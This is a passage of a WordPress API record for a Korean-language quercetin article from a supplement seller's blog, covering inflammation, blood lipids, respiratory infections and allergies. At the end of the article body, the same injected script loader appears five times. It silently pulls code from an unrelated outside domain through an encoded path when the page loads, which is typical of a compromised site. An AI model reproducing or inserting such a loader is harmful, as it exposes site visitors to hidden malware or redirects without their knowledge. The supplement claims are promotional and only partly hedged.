\uc12d\ucde8\ud558\uba74 \ud608\ub2f9 \uc870\uc808\uc5d0 \uae0d\uc815\uc801\uc778 \uc601\ud5a5\uc744 \ubbf8\uce60 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/www.backvita.com\/ko\/\uc81c\ud488\/sophora-japonica-extract-quercetin\/\">\ud018\ub974\uc138\ud2f4<\/a>&nbsp;\uc804\uc2e0 \uc5fc\uc99d\uc131 \uc9c8\ud658\uc5d0 \ub3c4\uc6c0<\/h3>\n\n\n\n<p>\uc5fc\uc99d\uc740 \ubcd1\uc6d0\uade0, \uc190\uc0c1\ub41c \uc138\ud3ec, \ub3c5\uc131 \ud654\ud569\ubb3c \ub610\ub294 \ubc29\uc0ac\uc120\uacfc \uac19\uc740 \uc720\ud574\ud55c \uc790\uadf9\uc5d0 \ub300\ud55c \uba74\uc5ed \uccb4\uacc4\uc758 \ubc18\uc751\uc73c\ub85c, \uc720\ud574\ud55c \uc790\uadf9\uc744 \uc81c\uac70\ud558\uace0 \uce58\uc720 \uacfc\uc815\uc744 \uc2dc\uc791\ud568\uc73c\ub85c\uc368 \uc791\uc6a9\ud569\ub2c8\ub2e4. \uc774\ub294 \uc2e0\uccb4\uac00 \uac74\uac15\uc744 \uc720\uc9c0\ud558\uae30 \uc704\ud55c \uc911\uc694\ud55c \ubc29\uc5b4 \uba54\ucee4\ub2c8\uc998\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc5fc\uc99d\uc740 \ubc1c\uc801, \ubd80\uae30, \uc5f4, \ud1b5\uc99d, \uc870\uc9c1 \uae30\ub2a5 \uc0c1\uc2e4\uc744 \ud2b9\uc9d5\uc73c\ub85c \ud558\uba70 \uac10\uc5fc\uc774\ub098 \ubd80\uc0c1\uc5d0 \ub300\ud55c \uad6d\uc18c \uba74\uc5ed, \ud608\uad00 \ubc0f \uc5fc\uc99d \uc138\ud3ec \ubc18\uc751\uc73c\ub85c \uc778\ud574 \ubc1c\uc0dd\ud569\ub2c8\ub2e4. \ud1b5\uc81c\ub418\uc9c0 \uc54a\uc740 \uae09\uc131 \uc5fc\uc99d\uc740 \ub9cc\uc131\ud654\ub418\uc5b4 \uc5ec\ub7ec \ub9cc\uc131 \uc5fc\uc99d\uc131 \uc9c8\ud658\uc73c\ub85c \uc774\uc5b4\uc9c8 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ucd1d 549\uba85\uc774 \ucc38\uc5ec\ud55c 7\uac1c\uc758 \ubb34\uc791\uc704 \uc774\uc911\ub9f9\uac80 \ub300\uc870\uad70 \uc5f0\uad6c\ub97c \ud3ec\ud568\ud55c \uc885\ud569\uc801\uc778 \ubb38\ud5cc \ubd84\uc11d\uc5d0 \ub530\ub974\uba74 \ud018\ub974\uc138\ud2f4\/\uc624\ub2c8\uc624\ub2cc\uc744 \ubcf4\ucda9\ud558\uba74 \ud2b9\ud788 \ub9e4\uc77c 500mg \uc774\uc0c1\uc758 \uc6a9\ub7c9\uc5d0\uc11c C \ubc18\uc751\uc131 \ub2e8\ubc31\uc9c8\uacfc CRP\ub97c \uc904\uc774\ub294 \ub370 \uc0c1\ub2f9\ud55c \ud6a8\uacfc\uac00 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. 3 mg\/l \ubbf8\ub9cc\uc774 \uac00\uc7a5 \uc720\uc758\ubbf8\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ub610 \ub2e4\ub978 \ubb38\ud5cc \uba54\ud0c0 \ubd84\uc11d(\ubb34\uc791\uc704 \ub300\uc870 \uc2dc\ud5d8 15\uac74 \ud3ec\ud568)\uc5d0 \ub530\ub974\uba74 \ud018\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub294 \uc9c8\ubcd1\uc774 \uc788\ub294 \ucc38\uac00\uc790\uc5d0\uac8c \ud56d\uc5fc\uc99d \ud6a8\uacfc(C\ud615 \ubc18\uc751\uc131 \ub2e8\ubc31\uc9c8\uacfc \uc778\ud130\ub8e8\ud0a8-6\uc744 \uac10\uc18c\uc2dc\ud0ac \uc218 \uc788\uc74c)\uac00 \uc788\ub2e4\uace0 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uadfc\ubcf8\uc801\uc778 \uba54\ucee4\ub2c8\uc998\uc740 \ud575 \uc804\uc0ac\uc778\uc790 kB \uacbd\ub85c \uc5b5\uc81c, \ub958\ucf54\ud2b8\ub9ac\uc5d4 \ud615\uc131 \uc5b5\uc81c, AMPK\/SIRT1 \uacbd\ub85c \ubc29\ud574, \uc0b0\ud654\uc9c8\uc18c \uc0dd\uc131 \ucd09\uc9c4\uacfc \uad00\ub828\uc774 \uc788\uc744 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucf00\ub974\uc138\ud2f4\/\uc624\ub2c8\uc624\ub2cc \ubcf4\ucda9\uc81c\ub294 \uc804\uc2e0 \uc5fc\uc99d \uac1c\uc120\uc5d0 \uae0d\uc815\uc801\uc778 \ub3c4\uc6c0\uc744 \uc904 \uc218 \uc788\uc9c0\ub9cc, \uc5f0\uad6c \uac04 \uc774\uc9c8\uc131\uc73c\ub85c \uc778\ud574 \ucd94\uac00 \ud655\uc778\uc744 \uc704\ud574\uc11c\ub294 \ub354 \ub9ce\uc740 \uc5f0\uad6c\uac00 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\ud018\ub974\uc138\ud2f4\uc740 \ud608\uc911 \uc9c0\uc9c8 \uc870\uc808<\/h3>\n\n\n\n<p>\uc774\uc0c1\uc9c0\uc9c8\ud608\uc99d\uc740 \uc2ec\ud608\uad00 \uc9c8\ud658\uc758 \uc911\uc694\ud55c \uc704\ud5d8 \uc694\uc778 \uc911 \ud558\ub098\uc785\ub2c8\ub2e4. \ubbf8\uad6d \uc5ed\ud559 \ub370\uc774\ud130\uc5d0 \ub530\ub974\uba74 \uc784\uc0c1\uc801 \uc2ec\ud608\uad00 \uc9c8\ud658\uc774 \uc5c6\ub294 45~84\uc138 \uc778\uad6c\uc758 29%\uac00 \uc774\uc0c1\uc9c0\uc9c8\ud608\uc99d\uc744 \uc553\uace0 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ud608\uc7a5 \ucd1d \ucf5c\ub808\uc2a4\ud14c\ub864\uc774 10% \uac10\uc18c\ud558\uba74 5\ub144 \ud6c4 \uad00\uc0c1\ub3d9\ub9e5 \uc9c8\ud658 \ubc1c\uc0dd\ub960\uc774 25%, \uc800\ubc00\ub3c4 \uc9c0\ub2e8\ubc31 \ucf5c\ub808\uc2a4\ud14c\ub864\uc774 1mmol\/L \uac10\uc18c\ud558\uace0 \uc2ec\ud608\uad00 \uc9c8\ud658 \uc0ac\ub9dd\ub960\uacfc \ube44\uce58\uba85\uc801 \uc2ec\uadfc\uacbd\uc0c9\uc774 21% \uac10\uc18c\ud558\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uccb4\uacc4\uc801\uc778 \ubb38\ud5cc \uac80\ud1a0 \ubc0f \uba54\ud0c0 \ubd84\uc11d(\ucd1d 1575\uba85\uc758 \ub300\uc0ac \uc99d\ud6c4\uad70 \ubc0f \uad00\ub828 \uc9c8\ud658 \ud658\uc790\ub97c \ub300\uc0c1\uc73c\ub85c \ud55c 16\uac74\uc758 \ubb34\uc791\uc704 \uc704\uc57d \ub300\uc870 \uc2dc\ud5d8 \ud3ec\ud568)\uc5d0 \ub530\ub974\uba74 \ucf00\ub974\uc138\ud2f4 \ubcf4\ucda9\uc81c\ub294 \ucd1d \ucf5c\ub808\uc2a4\ud14c\ub864, \uc800\ubc00\ub3c4 \ucf5c\ub808\uc2a4\ud14c\ub864 \uc9c0\ub2e8\ubc31 \ucf5c\ub808\uc2a4\ud14c\ub864 \ubc0f C \ubc18\uc751\uc131 \ub2e8\ubc31\uc9c8 \uc218\uce58\ub97c \ud06c\uac8c \ub0ae\ucd9c \uc218 \uc788\ub2e4\uace0 \uc9c0\uc801\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub610\ud55c \ucf00\ub974\uc138\ud2f4\uc740 \uc911\uc131\uc9c0\ubc29, \uace0\ubc00\ub3c4 \uc9c0\ub2e8\ubc31 \ucf5c\ub808\uc2a4\ud14c\ub864(HDL-C), \uc885\uc591 \uad34\uc0ac\uc778\uc790-\u03b1(TNF-\u03b1) \uc218\uce58\ub97c \uac1c\uc120\ud558\ub294 \ub370 \ud070 \uc601\ud5a5\uc744 \ubbf8\uce58\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ucf00\ub974\uc138\ud2f4\uc740 \ud608\uc911 \uc9c0\uc9c8 \uc870\uc808\uc5d0 \uae0d\uc815\uc801\uc778 \uc601\ud5a5\uc744 \ubbf8\uce60 \uc218 \uc788\uc9c0\ub9cc, \ud3ec\ud568\ub41c \uc5f0\uad6c\uc758 \uc774\uc9c8\uc131\uc774 \ub192\uae30 \ub54c\ubb38\uc5d0 \uc774\ub97c \ud655\uc778\ud558\uae30 \uc704\ud574\uc11c\ub294 \ub354 \ub9ce\uc740 \ub300\uaddc\ubaa8 \uc784\uc0c1\uc2dc\ud5d8\uc774 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ud018\ub974\uc138\ud2f4\uc740 \uc0c1\uae30\ub3c4 \uac10\uc5fc\uc744 \uc608\ubc29\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uae09\uc131 \uc0c1\uae30\ub3c4 \uac10\uc5fc\uc740 \uc131\uc778\uc5d0\uac8c \uac00\uc7a5 \ud754\ud55c \uc9c8\ubcd1\uc785\ub2c8\ub2e4. \uc77c\ubc18\uc801\uc73c\ub85c \ucf54, \ubd80\ube44\ub3d9, \uc778\ub450, \uc911\uc774, \ud6c4\ub450, \ud6c4\ub450\uac1c, \uae30\ub3c4 \ubc0f \uae30\uad00\uc9c0\uc758 \uae09\uc131 \uac10\uc5fc\uc744 \ub9d0\ud569\ub2c8\ub2e4. \uac10\uae30\uac00 \uac00\uc7a5 \ud754\ud558\uba70 \ubcf4\ud1b5 1\ub144\uc5d0 2~5\ud68c \uc815\ub3c4 \ubc1c\uc0dd\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uac10\uae30\ub294 \ub2e4\uc591\ud55c \ubcd1\uc6d0\uc131 \ubc14\uc774\ub7ec\uc2a4\uc5d0 \uc758\ud574 \ubc1c\uc0dd\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ubbf8\uc5f4, \ucf67\ubb3c \ubc0f \ucf54\ub9c9\ud798, \uc7ac\ucc44\uae30, \uc778\ud6c4\ud1b5, \uae30\uce68, \uadfc\uc721\ud1b5 \ub4f1\uc758 \uc99d\uc0c1\uc774 \ub098\ud0c0\ub0a9\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ubb34\uc791\uc704, \uc774\uc911 \ub9f9\uac80, \uc704\uc57d \ub300\uc870 \uc2dc\ud5d8(12\uc8fc, \ubaa8\ub4e0 \uc5f0\ub839\ub300\uc758 1,002\uba85 \ucc38\uc5ec)\uc5d0 \ub530\ub974\uba74 \ud018\ub974\uc138\ud2f4 \ud568\uc720 \ud654\ud569\ubb3c\uc744 \ubcf4\ucda9\ud558\uba74 \uc804\ubc18\uc801\uc73c\ub85c \uc0c1\uae30\ub3c4 \uac10\uc5fc\uc758 \ubc1c\uc0dd\ub960\uacfc \uc911\uc99d\ub3c4\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uba70 \uc99d\uc0c1 \uc810\uc218\uc5d0\ub294 \ud070 \ub3c4\uc6c0\uc774 \ub418\uc9c0 \uc54a\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uadf8\ub7ec\ub098 40\uc138 \uc774\uc0c1\uc758 \ud53c\ud5d8\uc790(\uc2a4\uc2a4\ub85c \uac74\uac15\ud558\ub2e4\uace0 \uc0dd\uac01\ud558\ub294)\ub97c \ub300\uc0c1\uc73c\ub85c \ud55c \ub3d9\uc77c\ud55c \uc5f0\uad6c \ubd84\uc11d \uacb0\uacfc, \uc704\uc57d \uadf8\ub8f9\uc5d0 \ube44\ud574 \ub9e4\uc77c 1,000mg\uc744 \ubcf5\uc6a9\ud55c \uadf8\ub8f9\uc5d0\uc11c \uc0c1\uae30\ub3c4 \uac10\uc5fc\uc758 \uc911\uc99d\ub3c4\uc640 \ucd1d \uc77c\uc218\uac00 \ub354 \ub0ae\uac8c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uac74\uac15\uc774 \uc88b\uc740 \uc911\uc7a5\ub144\uce35\uc758 \uacbd\uc6b0 \ud018\ub974\uc138\ud2f4\uc744 \ubcf4\ucda9\ud558\uba74 \uc0c1\uae30\ub3c4 \uac10\uc5fc \uc608\ubc29\uc5d0 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc9c0\ub9cc, \ud45c\ubcf8 \uaddc\ubaa8\uac00 \uc791\uae30 \ub54c\ubb38\uc5d0 \uc774\ub97c \ud655\uc778\ud558\uae30 \uc704\ud574\uc11c\ub294 \ub354 \ub9ce\uc740 \uc5f0\uad6c\uac00 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ud018\ub974\uc138\ud2f4\uc740 \uc54c\ub808\ub974\uae30 \uc9c8\ud658\uc5d0 \ub3c4\uc6c0\uc774 \ub429\ub2c8\ub2e4<\/p>\n\n\n\n<p>&nbsp;\uc54c\ub808\ub974\uae30 \uc9c8\ud658\uc740 \uc77c\ubc18\uc801\uc73c\ub85c \ubb34\ud574\ud558\ub2e4\uace0 \uc5ec\uaca8\uc9c0\ub294 \ud658\uacbd\uc758 \ubb3c\uc9c8\uc5d0 \ub300\ud574 \uba74\uc5ed \uccb4\uacc4\uac00 \uacfc\ubbfc\ud558\uac8c \ubc18\uc751\ud558\ub294 \uacfc\ubbfc\uc131 \uc9c8\ud658\uc785\ub2c8\ub2e4. \ucd5c\uadfc \uc218\uc2ed \ub144 \ub3d9\uc548 \uc54c\ub808\ub974\uae30 \ube44\uc5fc, \ucc9c\uc2dd, \uc2b5\uc9c4\uacfc \uac19\uc740 \uc7a5\uae30\ubcc4 \uc54c\ub808\ub974\uae30 \uc9c8\ud658\uc758 \uc720\ubcd1\ub960\uc774 \uc99d\uac00\ud588\uc2b5\ub2c8\ub2e4. \ubc14\ub85c \uadf8\uac81\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\uc5b4\ub5a4 \uacbd\uc6b0\uc5d0\ub294 \uc54c\ub808\ub974\uae30 \uc9c8\ud658\uc774 \ub9e4\uc6b0 \uacbd\ubbf8\ud558\uc9c0\ub9cc \uc77c\uc0c1\uc0dd\ud65c\uc5d0 \uc0c1\ub2f9\ud55c \uc601\ud5a5\uc744 \ubbf8\uce60 \uc218 \uc788\uc73c\uba70, \uc2ec\ud55c \uc54c\ub808\ub974\uae30 \ubc18\uc751\uc740 \uc0dd\uba85\uc744 \uc704\ud611\ud560 \uc218\ub3c4 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>&nbsp;\ud55c \ubb38\ud5cc \uac80\ud1a0\uc5d0 \ub530\ub974\uba74 \ucf00\ub974\uc138\ud2f4\uc740 \ube44\ub9cc \uc138\ud3ec \ud65c\uc131\ud654 \uc5b5\uc81c, \ud56d\ubc14\uc774\ub7ec\uc2a4 \ud65c\uc131, \ud788\uc2a4\ud0c0\ubbfc \ubc29\ucd9c \uc5b5\uc81c, \uc804 \uc5fc\uc99d\uc131 \uc0ac\uc774\ud1a0\uce74\uc778 \ubc0f \ub958\ucf54\ud2b8\ub9ac\uc5d4 \uc0dd\uc131 \uac10\uc18c, \uc778\ud130\ub8e8\ud0a8 IL-4 \uc0dd\uc131 \uc5b5\uc81c, Th1\/Th2 \uac1c\uc120\uacfc \uac19\uc740 \ud56d \uc54c\ub808\ub974\uae30 \uba54\ucee4\ub2c8\uc998\uc740 \ud56d\uc6d0 \ud2b9\uc774 IgE \ud56d\uccb4 \ud615\uc131\uc758 \uade0\ud615\uacfc \uc5b5\uc81c \ub4f1 \uc54c\ub808\ub974\uae30 \uc9c8\ud658\uc758 \uce58\ub8cc \ub610\ub294 \uc608\ubc29\uc5d0 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\ub2e4\uace0 \uc9c0\uc801\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub3d9\ubb3c \ubc0f \uc2dc\ud5d8\uad00 \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ucf00\ub974\uc138\ud2f4\uc740 \uc54c\ub808\ub974\uae30 \uc9c8\ud658\uc758 \uc608\ubc29\uacfc \uce58\ub8cc\uc5d0 \ub3c4\uc6c0\uc774 \ub418\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc9c0\ub9cc, \uc778\uccb4 \uc2e4\ud5d8\uc744 \ud1b5\ud55c \ucd94\uac00 \uac80\uc99d\uc774 \ud544\uc694\ud569\ub2c8\ub2e4.<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>&nbsp;Quercetin&nbsp;is classified as a flavonol, one of six subclasses of flavonoids that are widely distributed in plants. The name quercetin has been used since 1857 and evolved from the Latin \u201cQuercetum\u201d, which means oak forest. Quercetin has been found in studies to have a variety of biological properties, including antioxidant, anti-inflammatory, antibacterial, antiviral, free radical [&hellip;]<\/p>","protected":false},"author":1,"featured_media":3532,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"The efficacy of quercetin","_seopress_titles_desc":"Quercetin is classified as a flavonol, one of six subclasses of flavonoids that are widely distributed in plants.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x169.webp",300,169,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-768x431.webp",768,431,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",810,455,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-600x337.webp",600,337,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>&nbsp;Quercetin&nbsp;is classified as a flavonol, one of six subclasses of flavonoids that are widely distributed in plants. The name quercetin has been used since 1857 and evolved from the Latin \u201cQuercetum\u201d, which means oak forest. Quercetin has been found in studies to have a variety of biological properties, including antioxidant, anti-inflammatory, antibacterial, antiviral, free radical scavenging, and immunomodulatory activities, which constitute potential benefits for overall health and disease resistance. &nbsp;These substances are natural pigments evolved by plants over hundreds of millions of years. In addition to giving fruits and vegetables a variety of colors, their most important role is like&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7666"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=7666"}],"version-history":[{"count":6,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7666\/revisions"}],"predecessor-version":[{"id":9729,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7666\/revisions\/9729"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/3532"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=7666"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=7666"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=7666"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}